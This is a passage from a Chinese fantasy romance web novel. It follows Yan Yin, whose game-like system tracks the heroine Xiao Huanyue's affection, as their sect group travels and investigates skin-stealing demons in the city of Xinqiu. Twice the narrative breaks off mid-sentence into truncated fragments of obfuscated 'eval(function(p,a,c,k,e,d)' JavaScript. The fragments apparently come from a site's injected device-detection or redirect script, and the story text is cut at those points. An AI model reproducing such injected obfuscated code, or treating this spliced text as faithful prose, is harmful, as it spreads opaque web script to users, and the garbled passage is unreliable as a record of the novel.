怀里的人迷迷糊糊地皱起眉:“言隐?” “是啊!”他艰难地腾出一只手,去弹她脑瓜崩,“幸好是我,换了别人可就......” 她埋在他颈窝里,找了个更舒服的姿势,“言隐。” “干嘛,一直叫我名字。” “多谢你。” “多谢是不必了,多爱点就行。”他暗自琢磨,好感度还差几点开启下一阶段奖励来着,三点? “明知道你留在我身边的目的并不单纯,但我竟然希望你别离开,因为你真的很好......” 言隐哈了一声:“说这种话,如果明天你记起来了,绝对会想死。” “好用。” “......”原来是把他当工具人啊? 但转念一想,他从没见过萧唤月利用别人,只利用他,也算是一种特殊待遇了吧。 折腾半晚上,终于把萧唤月安顿好,言隐躺回自己床上,一边想着事情,一边迷迷糊糊地就睡着了。 翌日,天刚亮,系统的电子音像闹铃一样在他脑子里炸开。 【检测到攻略对象好感值波动,现好感度数值:61】 【攻略进度达百分之六十,对应积分奖励已发放至系统空间,积分商城刷新,已解锁新道具。】 感觉被天降的馅饼砸中,言隐躺在床上反应了一会儿,才猛地坐起身,点开系统商城面板。 右上角积分栏里显示的数字为60,比上一个阶段的积分奖励更加丰厚。 他没太明白,为什么昨晚上好感度不怎么涨,反而是现在猛窜了几点。难道是因为喝醉酒的人格外迟钝么,萧唤月今天酒醒了,才意识到他其实挺不错? 不过只要数值涨了就是好事,管那么多呢。 花30积分换了朵灵芝,他还剩下30点余额可供支配。 于是他又多花了点时间,浏览一番新上的商品道具,想找找看有没有自己中意的。 除去那些原本就有的,陈列栏下方大概上新了三四样东西,言隐粗略瞄了一眼,感觉都没什么用。 喝了之后永远不会秃头的药水、挂在身上就能让动物无条件亲近自己的香囊、还有用于窥探别人记忆的一次性镜片...... 他心想,自己不用喝那药水也不会秃头,至于香囊,获得动物的亲近似乎没什么好处,他又不是想当百兽之王。那一次性镜片就更没用了,他没兴趣去抠挖无关之人的记忆。 况且这些东西的售价都超过了30积分,暂时无法进行购买。 眼下言隐对系统商城内的东西失去了兴趣,决定先把那剩下的30积分攒着,将来按需兑换。 42. 第 42 章 灵芝功效过于强大,想要长回一双眼睛的话,其实分食一点就够用。 萧唤月捧着那朵灵芝,小心翼翼掰下来一块,放进嘴里嚼巴嚼巴咽了。 言隐:“什么感觉?” “眼睛有点痒......” “应该很快就会长出来了,这几天还是先带着白绫吧?新生的血肉很脆弱。” “好。”她把剩下的灵芝递还给他。 “给我干什么,自己留着呗。” “眼睛都长回来了,多出来的当然要还给你。这东西很珍贵吧?来历成谜,看来又与你的秘密有关。” “话虽如此,可我拿着这东西也没用,我又没缺胳膊少腿的。” “那......给那些瞎了的镇民?不过我只是提供思路啊,无论怎么处理都取决于你。” “听起来是个办法,就这么做吧。”言隐浑不在意地挥了挥手,将灵芝扔给萧唤月,好像让她帮忙处理垃圾似的。 萧唤月手忙脚乱地接住。 她想起言隐以前也说过类似的话——“我用不上这个”,然后转头就把那些“用不上”的东西送给别人。 嘴硬心软? 系统播报:【检测到攻略对象好感值波动,现好感度数值:63】 言隐:“?” 这几日好感度升得挺频繁啊。 难道这种东西也存在规律吗,一旦达到某个临界点,就会像开闸放洪一样猛涨? “对了。”他突然问道,“喝醉酒那天的事,你还记得吗。” “......不记得了。”萧唤月别过头去,“是你送我回来的吧,谢谢。” 丘山一行人在镇上又多留了一日,架起棚,将灵芝熬成汤药,赠予那些失去了眼睛都。 言隐对师兄师姐谎称,这灵芝是从前一位长辈送给他的,没想到能在这里派上用场。 幸好提前跟萧唤月对过口供,没有露馅。纵使察觉到有不对劲的地方,路承蕊和昭意也只能暂且接受这个说法。 但灵芝只有一朵,失明的人却有百来口,每人分到的份额少了,疗效便会慢一些。不过这都是些无关紧要的细节了,只要能复明,多等两月又有什么。 汤药是免费的,可镇民们都很自觉地带来了一些东西当作答谢,钱财珍宝,文玩织品,甚至特色小吃......一股脑地堆在案上,说什么也要让言隐收下,最后他只能将这些东西都收进乾坤袋。 萧唤月、昭意和路承蕊那边也收到了不少东西,一天下来,听“谢谢”两个字都快听得耳朵起茧,脸也笑僵了。 “做好人好事真够累的。”言隐悄悄同她说。 “是有点。”萧唤月抱着一堆东西,“来,这些东西你也装进袋里。” “送我?” “嗯,本来就是你的功劳嘛。” “汤药是你们熬的。” “但我眼睛是你治好的。”萧唤月把东西塞给他,“这些都给你,反正我也只是借花献佛。” 言隐不置可否,看了一眼,忽然指着其中一种道:“止血丹?这不会也是他们送的吧。” “哦......我自己添了点东西,但不多。你知道的,我是穷光蛋。” 不是萧唤月有意低调,而是她真觉得自己没有什么能送出手的东西,只能混着一起送了。 言隐把东西装进乾坤袋里,面无表情道:“行,我收了。” 总之,在凤泉镇的任务还算圆满地结束了。由于萧唤月的眼睛还没有好彻底,大家没有急着赶路,租了辆马车,去往下一个目的地。 接下来的任务都挺轻松,大多是一些不成气候的小妖在背后作怪,萧唤月甚至没有多少出手的机会,师兄师姐们已经利落地一剑封喉。 一月过去,她的眼睛完全好了,可以取下遮目的白绫。长出眼睛的过程不算太痛苦,但那种钻心的痒实在令人难以忍受,重见光明的那一刻,她松了口气。 视野良好,天空像是洗涤过一样蓝,鲜明的色彩冲击着她的视网膜,漂亮的鸟儿停在树梢上歪头看她,阳光下有细小的尘屑飞舞。 从未意识到这个世界竟然如此可爱,萧唤月心情极好,干劲也十足。 接下来的路程就要顺利许多,由于前方地势复杂,他们在最近的驿站归还了马车,改而御剑。虽然耗费灵力累了点,但这点程度对于萧唤月来说已经不算什么。 一路斩妖除魔,驱邪赶祟,她的战斗经验正呈指数级增长。 值得一提的是,她还有了自己的本命宝剑,锻器阁真的以眼睛为原材料打造出来了。 当仙鹤抓着一柄剑降落在她面前的时候,她差点没敢去接。剑身通体漆黑,上面遍布着蜘蛛丝一样的纹路,剑柄则是暗淡的金色,尾部带有奇形怪状的尖钩,像是鸟类的喙。 比起剑修,这更像是魔修会用的剑,但师姐安慰她不要被刻板印象约束,“我们剑修并不都是白衣飘飘仙气凛然的,只要好用就是好剑。” 听起来很有道理,萧唤月捧着那把剑,心里终究还是兴奋的,看这成色,一看就不是凡品! 她给它取名为“归燕”。 剑身微微嗡鸣,像是认了主。这种级别的法器,可以直接收进丹田,战斗时在手中化现,多炫酷。 另外,宗主也给她回了信,说是并不认识东生这号人物,但当年的事的确颇有蹊跷,里云宫还在调查。 如果能查出来,那早该查出来了。 萧唤月看见这话的时候就默认里云宫是在打太极,不过她已经与里云宫已经毫无瓜葛,他们不将她的事放在心上也正常,东生的事怕是要成为未解之谜。 为了锻炼自己,也为了报答言隐,这一路上萧唤月遇到什么妖魔鬼怪都往前冲,将言隐护在身后,俨然一位称职的随身保镖。 对此昭意有点看不过去,他觉得师妹对师弟有点关爱得过了头。 他委婉道:“师妹,有时候也让小隐多少有些参与感吧?” 萧唤月:“怎么能算是没参与呢,只不过他修炼的时间比我长,功力在我之上,等遇到棘手的大妖时,再推他出去打架也不迟,这些小怪,不如拿给我当经验包用。” 昭意认为她在找借口,实则还是对言隐的保护欲在作祟,这样不好,万一习惯成自然,以后言隐遇事都往她身后缩怎么办?本来这位师弟做任务就没什么积极性,被她这样护着,更是变本加厉了。 他心中不禁有些担忧,想要再劝,又拿不出合适的理由。 “这样似乎不妥......” 萧唤月勾着言隐的肩膀,一副大姐大的气势:“很妥啊。” 言隐幽幽道:“师兄不会是觉得我太弱,拖了阿月的后腿吧?的确,阿月是给我面子才那样说的,其实我......” 萧唤月一把捂住他的嘴巴,压低了声音:“你乱说什么。” “逗逗他而已。”言隐不满地移开目光。 昭意面上有些尴尬,这番话似乎把他隐秘的心思戳穿了一个洞,他当然不会觉得师弟拖后腿,但看见师妹总这样护着又觉得不合适,从邀请萧唤月上山到现在,她在他心里始终是一个被保护者的定位,是要照拂帮忙的‘妹妹’。 但师妹说的话似乎也有道理,路上碰见的这些妖怪,还没有棘手到解决不了的程度,与其被功力更强的言隐清理掉,不如拿给萧唤月当经验包。或许不该再把她当做脆弱的小花小草......总之,他陷入了纠结。 对于师弟师妹关系的突飞猛进,路承蕊则报以十分宽容的态度,私下同昭意讨论: “没什么的,小年轻之间的事你我无需插手,再说了,师弟那个模样确实很惹人怜爱,穿得漂漂亮亮往那一站,不要说小月了,连我也不舍得让他干粗活累活啊。” “但我从来不会往你身后躲,而且你也很舍得让我干重活,为什么?”昭意脸上似乎是真心实意的疑惑。 “呃,这个......各有各的相处方式啦。”路承蕊嬉笑着拍了他一巴掌,“别想太多了你,我看他俩处得挺好,没发觉么,师弟最近都不直呼师妹的名字了,叫她‘阿月’,这可是关系拉近的一个重要标志呢。” 到头来,昭意不仅没有被路承蕊开解,反而更加郁闷。她说师弟“惹人怜爱”是什么意思?不舍得让师弟干重活却总是指使他干这干那,这种区别对待又是因为什么,他为何会感到有点微妙的不开心? 然而这情绪来得快去得也快,昭意很快就想通了,路承蕊之所以会指使他,是因为自己是“师兄”,够强大够可靠,足以与她并肩,所以她信任他的能力。 至于师弟师妹......好吧,路承蕊说得有道理,小年轻的事他少管,师妹觉得合适就行。 除去一些微不足道的小小摩擦,一行人的旅途还算顺利。 游历了大半个郯国,这只四人小队被磨合得越发默契,连捉妖打怪时各自的走攻站位点都已半固定化,效率大大提升,不再是刚下山那会儿人齐心不齐的便宜散装小分队了。 尤其是萧唤月和言隐,配合度简直上了一个层阶。他们常常有风餐露宿的时候,萧唤月一抬下巴,言隐就知道去拾柴生火。 路过小溪时一条鱼跃出水面露了头,两人一对视便立刻明白彼此的意思——今天的晚餐有着落了,你去还是我去? 偶尔言隐也会脱离队伍单独行动,毕竟还顶着鬼王的头衔,不能对鬼界置之不理。 对于他的不定时失踪,路承蕊和昭意倒没有放在心上,一个是因为心大,一个是因为好骗。 对于同伴的话,昭意通常是深信不疑的,萧唤月帮言隐打掩护,只需随便说个理由,昭意便很自然地信了。 反正队伍里的四个人并没有一直待在一起,就连昭意自己也会有因私事而暂离队伍的时刻——大都是因为丘山长老召他回去帮忙。 但言隐的私事是不能被人所知的,一来二去,萧唤月糊弄人的功力见长,每每看着昭意对她随口编出的谎言郑重对待的样子,她都会不自觉冒出一点愧疚之心......下次帮师兄多烤两条鱼好了。 一路有惊有险,欢声笑语,聚多离少。 他们彼此为伴,同行了很久。 言隐认为,萧唤月对他的好感度增长得还算快,至少比刚认识那会儿要快得多。 明明只是走在路上看风景,看着看着,冷不丁就能听见一声系统播报——检测到攻略对象好感值波动。 真是无比悦耳的电子音,堪称天籁。 不过系统不是每次都会自觉播报,更多时候要靠他自己问。 虽然“攻略萧唤月”已经不是他的必要目标,但系统的羊毛能薅就薅,他看着日渐增长的数值,心里也舒坦。 而最近两个月他又有了新想法,特意叮嘱系统不要出声播报,自己也不问数值。就像要把好吃的东西囤起来留到最后吃个爽一样,他决定忍一段时间,给自己一个惊喜。 在没有系统外挂的情况下,他只能凭借感觉来判断萧唤月的好感度增长情况。 言隐当然看不透萧唤月的心,唯一的方式是“观察”。观察她的表情,揣摩她的情绪......无可避免的,在这个过程中,她夺走了他大部分的注意力。 他看风景的时候变少了,常常下意识望着萧唤月的背影发呆。 直到他觉察出,萧唤月看向自己的目光中似乎多了点说不清道不明的情愫......或许是自作多情,但他的耐心也到此为止了,他需要答案。 再次呼唤出系统,他紧张地等待着那道冰冷冷的播报音。 【检测到攻略对象现好感度数值:76】 ......好像挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“......怎么可能!”言隐反驳,“我只是顺着她的意思来,又不是真的弱到需要保护。” 【但你喜欢这样。】 “是她喜欢!” 系统无意与他继续争论这个话题,从客观角度表明了结论:【攻略你,比攻略萧唤月容易。】 言隐冷哼一声:“这可就是胡说了啊,过去几百年,我从来没有被美色/诱惑过。” 百年来他从未产生过要与谁双修的想法,光是想想就觉得麻烦,他不傻,当然知道经营一段关系会很难,靠皮相维持的好感能支撑多久?再美的脸也有看腻的时候。 与另一个人出双入对么......更是难以接受,还是独来独往更逍遥快活。 “想什么呢?”萧唤月蹦跶到他面前,晃了晃他的肩膀,“叫了你几声都没听见,吃饭了!” 一嗓子把言隐嚎回现实世界,他有点懵地低头,看见萧唤月鼻尖沾着黑灰,下意识就要抬手给她擦干净。 萧唤月往后仰,又被他扳回来:“这里弄脏了,别动。” “哦。”她老老实实地定在原地,但还是提出疑问,“用个除尘诀不就好了。” 他的动作一顿,“擦干净也就几秒钟的事儿,别什么都依赖法术。” 多亏了曾经食用过灵芝,他的体温不再冰寒刺骨,指腹带着微微的热意,仔仔细细将那块黑灰抹去。 少女的皮肤白净细腻,刚在火堆边烤了热风,暖乎乎的,好似在抚摸一匹上好的绸缎。 言隐看着看着走了神,心想这张脸倒是没有看腻过,眼睛鼻子嘴巴,每一处线条都长得很合适嘛。 “再美的脸也有看腻的时候”——或许之前这想法还是太过片面。仔细一想,凡人吃一辈子大米饭也没吃腻啊。 回过神来,他咳嗽了一声扭过头去:“好了,擦干净了。” “谢谢。” 想到自己那高达92点的好感度,言隐心里有点郁闷。是什么时候变成这样的?在看不见的角落,他的好感度数值悄悄增长,连他自己都不知道! 他决定要努力把萧唤月对他的好感度提上来,至少不要拉开太多,不然的话......这不公平。 嗅到了食物的香气,他伸出头:“好香,是白天打的那只野鸡吗?” “是啊,上次买的香料还剩点儿,全用上了,在到达下一个目的地之前,不会再有这样的豪华晚餐了哦。” 一只鸡四个人分,想要吃到饱不太可能,只能说解个馋。 萧唤月捧着鸡腿吹了吹,一口下去,鸡肉自带的油脂香气在味蕾炸开,汁水烫得她眼泪花都差点飙出来,但又不舍得吐掉,呼噜半天,在嘴里重新炒了一遍。 艰难地啃下几口,斜眼一看,言隐居然已经吃完了。萧唤月惊讶,这人不怕烫的吗? 看他表情似乎还有点意犹未尽,萧唤月犹豫了一下,撕下侧边没咬过的一块肉,递给言隐。 “给我干嘛?” “看你爱吃。” “我爱吃你就给我啊。”言隐作凶狠状,“不准给我。” “......不吃拉倒。”这人真是不识好歹,萧唤月翻了个白眼,把肉扔进自己嘴里。 言隐知道,萧唤月还记着之前吃了他一口灵芝的事,所以一路上对他多有照顾。之前他半推半就地享受了,现在回过味儿来,才意识到其中大有门道。 这样很容易招人喜欢的! 他心想,以后要用萧唤月对待他的方式来对待萧唤月。 就像考试作弊抄学霸试卷,他决定复刻萧唤月的路子,既然他对萧唤月的好感度都能涨,那反过来也是一样。 他承认,自己就是这样一个斤斤计较的人,他希望萧唤月能再多喜欢自己一点。 43. 第 43 章 在任务之外,丘山小队还会附赠免费的除魔收妖服务,只要碰上了就管,因此行进速度大大减缓,因为不知道哪里又会突然冒出突发事件。 如此一来,到达新萩已经是一年以后的事了。 这座城位于两国交界之处,名义上属于郯国地境,但界限的划分并不那么清晰,一直以来都是个问题区域。 自鲁国旧王被妖物控制的事情败露以后,鲁国大乱,新帝登基,时局不稳,有不少鲁国百姓越境混入新萩,买通官员拿到了户籍,举家搬迁到此地。 但仅凭这点,并不足以让钦天监出动。 真正让监正注意到这座城的原因是,一年前,这里出现了一场骚乱,非人力所能造成。 起因是,街头本已死去的流浪汉,第二日又神采奕奕地出现在原位置,板车上他的尸体不翼而飞。 目击者颇感惊悚,但转念一想,或许人家本来就没死透,只是气悸厥脱罢了。 然而事情并没有结束,一个被马匹冲撞而死的小男孩,在某个雾蒙蒙的清晨再次出现,攥着铜板上街买糖人吃,本已断掉的双腿完好无损,言行举止也与往常没有任何区别。 卖糖人的老板恰巧与男孩儿的家人有过几面之缘,好奇之下上门询问,却不曾想那家人矢口否认男孩儿被马车冲撞过的事实,还说老板是来找他们的晦气,舞着扫帚将他赶出门去了。 诸如此类的诡异事件接二连三地发生,钦天监在各地布下的眼线很快就嗅到其中非比寻常的气息。 初步判定是有妖物作祟,通过伪装人类的方式混入人群。 此地位置独特,造成的影响力不可小觑。花梁燕斟酌过后决定亲自出动,下令封城,除了钦天监的人以外,许进不许出。 丘山四人算是得了特许令,入城时没有受到过多阻碍,守城人在核实过他们的身份后,便打开城门,放他们进去了。 听闻又是妖怪伪装人类的老桥段,萧唤月精神一振:这他们熟啊! 下山后赴往的第一个任务就是凤泉镇妖怪夺舍事件,而如今,在到达苦心谷前的最后一个节点,又出现了类似的案件,也算首尾呼应了。 没想到花梁燕接见他们后,似乎并没有指望他们能派上多大的用场,只是建议他们在这里多住一阵,帮忙辨别真假人类。若判定出某人为妖,直接杀了就是,不必取得她的同意。 一年前花梁燕写信邀请他们来新萩时,还不是这个态度。昭意感到奇怪:“这一年出现了什么变故吗?” “不,只是我低估了它们。”花梁燕喝了口水,解释道,“与凤泉镇的情况不一样,‘它们’的伪装技术十分高超,智力程度也不是凤泉镇那群半吊子能比的。” 按照花梁燕的说法,这群妖没有很强的攻击性,蛰伏期间不会主动制造不必要的冲突,行动十分谨慎。 而且它们法力高强,善于伪装,窃取已死之人的皮囊为己所用,就连死者的亲近之人也看不穿它们的把戏——不排除它们对那些人用了某种迷惑手段,或者连死者家属也被一并杀害。 更可怕的是它们在不断进步,会从同伴的失败中吸取教训,更加完美地隐藏破绽,伪装技术也越来越高超,从内到外模仿了个十成十。 它们窃取已死之人的皮囊,顶替其身份,继承其社会关系。 “起初,被窃取了皮囊的受害者通常死于意外,知晓其死讯的人可以作为突破口,但它们很快意识到了这点,不再将那些人的皮囊作为选择。” 萧唤月很快想通其中道理:“所以它们开始悄悄杀人,确保死亡过程不被任何人目击?” 花梁燕:“是的,一场沉默的屠杀。” “那就不能说没有攻击性了......”萧唤月骇然。 “现在的情况,说麻烦是挺麻烦,说简单却也简单。”花梁燕起身给萧唤月斟茶,在她肩膀上不轻不重地按了一下,“各位能者多劳,杀一个算一个吧,像阻隔疫病那样,把源头杀个干净,这事自然解决了。” 反正其它区域还没有出现端倪,看来封城的举措是有用的。 “当然当然。”萧唤月牢记,她还欠着花梁燕人情呢,这次任务正是表现的好机会,可不能划水。 始终一言不发的言隐突然插了句嘴:“应该有更简单的方法吧,怎么不用?” 花梁燕有些诧异地看了他一眼:“什么方法。” “屠城。” 萧唤月熟练地捂住言隐的嘴:“他开玩笑的!” 其实没在开玩笑。萧唤月心知,言隐一定是想起师父了。当时盈缺的做法就是这样简单粗暴。但如今情况不同,城中尚有活口,不能一刀切。 昭意不赞同地摇了摇头,神情是罕见的严肃:“师弟,这种玩笑不要乱开。” “如果是上一任监正,或许会这样做,那的确是个好办法,但很可惜,我没有继承到她的全部,手腕不够强硬。”花梁燕轻描淡写地揭过了这个话题,没有对言隐这种危险的想法多做谴责。 实际上她明白,这做法是可行的。只要一口咬定城中百姓已全部遭遇妖物毒手,屠城便是名正言顺的事,修仙界的正派人士会对她的做法表达不满和唾弃,却不能真的拿她怎么样。 萧唤月好奇:“上一任监正是谁?” 花梁燕:“我师父。” 你师父又是谁,怎么人人祖上都有一位神秘师父......这么想着,萧唤月却并没有继续追问,人家摆明了不想细说,她便懒得刨根问底了。 花梁燕让人带他们回房休息。 “你们累了,先歇息吧。明日可以去城里逛逛,这里的面食很好吃。” * 跟着引路的小吏来到闹市区,言隐露出不满的神色:“我们住这里?” 眼前的房子小且破败,木门的年纪疑似比言隐还大,轻轻一推就吱呀作响,门板上的灰尘簌簌掉落。 引路的小吏有些尴尬:“其实我们事先打扫过,但这扇门受了虫蛀,朽得厉害,木屑总往下掉。” 萧唤月抽了抽嘴角:“有没有可能,或许,可以换一扇门?” “监正说不必。” “这就是她的待客之道么?”言隐嗤笑。 引路人慌忙解释:“不不,监正绝非有意怠慢,只是她信任各位的能力,认为你们不应该是被严密保护的对象,而是保护别人的一方。” 昭意:“这倒是没错,我们正是为了保护那些手无缚鸡之力的百姓,才来到这里。” 萧唤月一点就通:“......噢,原来如此。” 监正的意思很明显了——他们这群人,是剿灭妖魔的主力之一,不会被钦天监供起来好吃好喝地对待,那样或许会让妖魔鬼怪对它们敬而远之,认为他们是不能靠近的人物。 必要的时候,他们甚至要主动将自己置于危险之中,这种看似不安全的房子,也是一种“诱饵”,毕竟看起来就摇摇欲坠,很容易被入侵的样子。 站在不知情者的角度来看,住在这种寒酸房子里的人多半不会是什么权贵商贾。 妖怪如果要下手,十有八九会优先选择穷苦人家的百姓,因为他们的社会关系相对简单,后患少。 “怪不得刚见面的时候,监正夸我们衣服不错呢。”萧唤月失笑。 破破烂烂的住处,加上他们这一身行走江湖专用的粗麻布衣,适配度不要太高。 本来还想着进了城能换上漂亮衣服转悠几天呢......萧唤月遗憾地想,现在这计划可要泡汤了。 “什么,什么啊?”言隐一脸莫名,“你们的对话是跳过了什么吗,我怎么听不懂。” 萧唤月踮起脚,贴着他的耳朵说清了其中利害。 “哦,哦。”他恍然大悟,神色复杂地看了一眼木门,嫌弃之意难以掩饰,“行吧......” 引路的小吏做了个“请”的手势:“各位请进,我就不多做打扰了。” 门后,两丈见方的一片空地,甚至不能称之为院子。到处堆满了杂物,萧唤月几乎没有落脚的地方,很难想象这还是整理打扫过后的结果。 卧房只有两间,其中一间好像是用厨房改造的,灶台都没有拆干净。好在生活用品还算齐全,应该是监正派人提前购置过。 路承蕊想打开窗户通风,没想到使劲一推,半扇窗户直接掉了下来。 有了这个前车之鉴,萧唤月对任何家具都很小心翼翼,生怕不小心又报废一件。 “好了各位,选地儿睡觉吧。”路承蕊一拍巴掌,“只有两个房间,我和师妹睡,昭意你和师弟睡。” 昭意:“也好,我们要尽量避免单独行动。” 言隐:“......可是我不喜欢和别人一起睡。” 而且跟昭意同床共枕好恶心,他不要。 路承蕊拿出前辈的耐心安慰他:“这不是没那条件嘛,实在不行,就让你师兄打地铺。” “我可以和她一起睡吗?”言隐指了指萧唤月。 昭意大惊失色:“不可,不可。” “你和小师妹睡一间,我岂不是得和昭意一块儿?”路承蕊否决了言隐的提议,“别想了,没这种可能。” 萧唤月挠了挠下巴,表情有点窘迫,这种时候干脆保持沉默好了。 这地儿小了点破了点,但怎么也比睡树上强。 住了大概四五天,日子过得还算平和,萧唤月和路承蕊的作息差不多,不存在互相打扰的情况,做室友再合适不过,就是不知道昭意和言隐那边相处得如何,以昭意的好脾气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“明天早上记得来找婶,送你两个热乎饼子。” “好嘞。” 萧唤月单肩挑着担子,腾出一只手扶住刘婶:“慢慢走,天还没黑,不急。” 刘婶应了一声,心中感动,想她可真是个好姑娘,长得水灵,又热心肠,谁家有这样的女儿,恐怕脸都要笑烂了。 实际上刘婶对萧唤月大有误会,她平常不是这么爱管闲事的人,只是现在任务在身,路承蕊勒令他们多多接触本地人士,充分了解本地形势。 反正路上也没事做,刘婶拉着萧唤月闲聊:“姑娘,听你口音像外地人,最近才来新萩的吗?” “去年就搬到新萩了,只不过之前不在这条街住。” “哦,我说呢,封城好久了,按理说外地人应该进不来。”刘婶直叹气,“可惜啊姑娘,你不该来的。” “可不,跟朋友一块儿来做点小生意,赔得裤衩子都掉啦。” 丘山小队早就统一过口径,别人问起他们的来历,一概这么回答。 “现在出不去了。这地方乱得很,先是鲁国人混进来,后面妖怪也混进来,什么垃圾都往里收。嗐,晦气!” 萧唤月默默听着刘婶的抱怨,时不时回应两句。 “刘婶,离你家还有多远呢?” “再转个弯就到了,右边巷口进去就是。” 此时晚霞满天,再过不久,夜色就要降临。 到了家门口,刘婶从萧唤月肩上接过担子,道了谢正要进门,却忽然注意到渐暗的天色,担忧道: “坏了,姑娘,没考虑到你回去该怎么办,天这么黑了,路上人都没有,你一个人走夜路太不安全。” “没事。” “要不在婶子家凑活一晚上?你可以跟我儿媳妇一块儿睡。” “不用......” 萧唤月正要拒绝,却看见刘婶身后探出一个脑袋来,长长的辫子圆圆的脸,长得很讨喜,应该就是她说的“儿媳妇”。 果然,刘婶介绍道:“我儿媳妇,晚绿,应该比你大不了几岁,都是小姑娘家家的,你俩肯定能聊到一块儿去。” “晚上的晚,绿色的绿。”晚绿很活泼,眼里满是好奇,一点也不怕生地凑到萧唤月身边,笑问,“你又叫什么名字呀,为什么跟我娘一起回来?” “我叫萧唤月,刚搬到附近,看刘婶挑担子有些站不稳,搭了把手。” “原来是帮了我娘的忙啊!姑娘有恩,请进请进!”晚绿热情地邀她进门,“正好晚饭也做好了,姑娘留下来吃了再走吧,有肉菜呢。” 44. 第 44 章 架不住一老一少的热情邀请,最终萧唤月还是留了下来。 为避免有意外状况出现,她用通讯符告知了师姐,今天会晚些回去。 刘婶住的地方比萧唤月那边的破烂屋好不到哪去,要么柜子少了门,要么桌子缺了角。 甚至单论面积,这儿比萧唤月住的房子还要更小一些,不过每一处都打扫得相当整洁,堂屋的小饭桌被擦得发亮,几样简单精致的小菜摆在上面,米饭粒粒生香。 最中间摆了一盘肉片,应该只是简单蒸煮过,没有做过多处理。 萧唤月看她们生活拮据,便没好意思对着那盘仅有的肉菜下手,只就着面前一盘炒青菜下饭。 刘婶看出她的顾虑,主动夹了一片肉放进她碗里:“别客气呀姑娘,多吃点,还在长身体的时候,可千万不能饿肚子。” “......”没好意思说,萧唤月觉得自己应该不会再长了。 “我们家虽然穷,晚绿却是很能干的。”刘婶一脸骄傲,“她跟屠夫的老婆关系好,总能搞到一点剩肉,带回来给家里人打牙祭。” 话虽如此,萧唤月还是没敢多吃。高低不差这一顿肉,一年来跋山涉水,野味可是吃得够够的了。 碗里的米饭很快见了底,萧唤月放缓进食速度,装模作样地吃了一会儿,看她们都吃的差不多了,才放下筷子,假装自己吃饱了。 萧唤月想帮忙收拾桌子,但刘婶摆了摆手,示意她坐着就好。 晚绿手脚麻利地收走了空饭碗和筷子,把桌面擦了一遍。刘婶则把剩下的菜都拨进一个盘里,又刮搜了一遍盛饭的木桶,将粘底的米饭都舀出来,铺在菜上面。 萧唤月本以为这些饭菜是要留着下顿吃,但晚绿拿了一双干净的筷子,接过那盘子,步履匆匆地出了堂屋。 注意到这个细节,萧唤月心中猜测:莫不是要给谁送饭去? 她清晰地听见晚绿在堂屋外走了几步,随后响起推门的声音,隐隐约约还伴随着一句“该吃饭了”。 看来并不是只有晚绿和刘婶住在这里,隔壁房间里有个没露面的。 是刘婶的儿子么?但从进门到现在,刘婶始终没有提起过儿子的存在。 似乎察觉到她的疑惑,刘婶主动解释道: “唉,我那不成器的儿,这段时间生了病,只能在房间里躺着,别的什么也干不了。” “令郎得了什么病?”萧唤月的目光转向屋外。 “老毛病复发而已,不碍事。” “哦。” 天已经彻底黑下来,刘婶担心萧唤月路上有危险,说什么也不肯让她走。 “这可不是闹着玩儿,如果姑娘你出了事,后悔也来不及。”刘婶有些着急,“都是因为送我,才耽误了你回家的时辰。这外头啊,越晚就越危险,马虎不得!留下来住一晚吧,和我姑娘一块儿睡。” ......不行,她不喜欢和陌生人共处一室。 虽然知道刘婶是好心,但萧唤月还是坚定地拒绝了。 刘婶仍不放心,拉着她的手还要再劝,萧唤月颇感无奈,心里有点烦躁,又不能坦白说自己有自保的手段,毕竟修士的身份还得继续隐藏下去。 幸好这房子很小,跟刘婶推拉两个回合的工夫就走到了门口。萧唤月一个巧劲儿把刘婶轻轻推回门内:“我走了刘婶,不用再送!” 望着她远去的背影刘婶无可奈何,黑漆漆的街道除了萧唤月外空无一人,最终刘婶还是没有那个胆子追出去,叹了口气,关上院门。 夜风有点凉,萧唤月对着手心哈了口气,加快步伐往家里赶。 忽然肩膀一暖,像是有人把手放在她肩上,掌心的温度传给了她。 头也没抬,她轻笑了一声:“言隐。” “怎么猜到的?”言隐现了身,一脸失望,“本来想吓你一跳呢。” “刚才吃饭的时候就隐隐感觉到了。” “好吧,算你厉害。”言隐拍拍脑袋,又道,“对了,我刚才发现一件事。” “什么?” “那老太婆的儿子有点奇怪,说是生病,但身体上没什么问题,就是神志不清楚,吃饭都得拿绳绑着喂。” “疯病也是病嘛。” “他很害怕那个叫晚绿的,看起来十分抗拒她的靠近,还说她是妖怪。” 萧唤月停住了脚步。“......那我们要不要回去看看?” 言隐耸肩:“你脑子比我好使,我听你的。你去我就去。” “或许他只是单纯犯病,但在这个节骨眼上......” 这事说大可大说小可小,秉着宁可错杀也不愿放过的心思,萧唤月最终还是回到了那扇院门前。 “抱歉刘婶,一个人走夜路太可怕了,我还是回来住一晚吧,打扰你们了真是不好意思。”她一气呵成地说完这段话,补上一个歉意十足的微笑。 刘婶并不计较她反复无常,反而欣慰于她的回心转意,立马邀她进了屋门。 只是没想到这家人也只有两张能用的床。她和晚绿共挤一张,刘婶就只能打地铺。 搞得萧唤月良心不安起来:“刘婶,我睡地上呗,我年轻,身子骨结实。” 回应她的只有鼾声,刘婶已然睡着了。 晚绿轻笑道:“其实娘就爱睡硬板,躺床上总说腰疼呢,姑娘你就安心睡吧。” “平常刘婶也喜欢睡地上吗?” “有时候吧。” 床又窄又小,即便只睡了两个人也还是很挤,萧唤月几乎翻不过身。 “说不定刘婶假装自己爱睡地板,是为了让你躺舒服点。”话一出口萧唤月就想捂嘴,揣测别人的家事干什么,她和晚绿还没有熟到那个地步呢! “是这样吗?”晚绿的语气听起来竟然挺高兴,“也有可能,毕竟我娘人很好嘛。” “你们婆媳关系真和睦。” “对啊,我都不乐意和刘郊睡,就爱和娘睡。” “刘郊?” “是我相公,他做梦总是拳打脚踢,大喊大叫,让旁人睡不安稳。” 萧唤月心中恍然,原来叫刘郊啊......她就是为了这人来的。 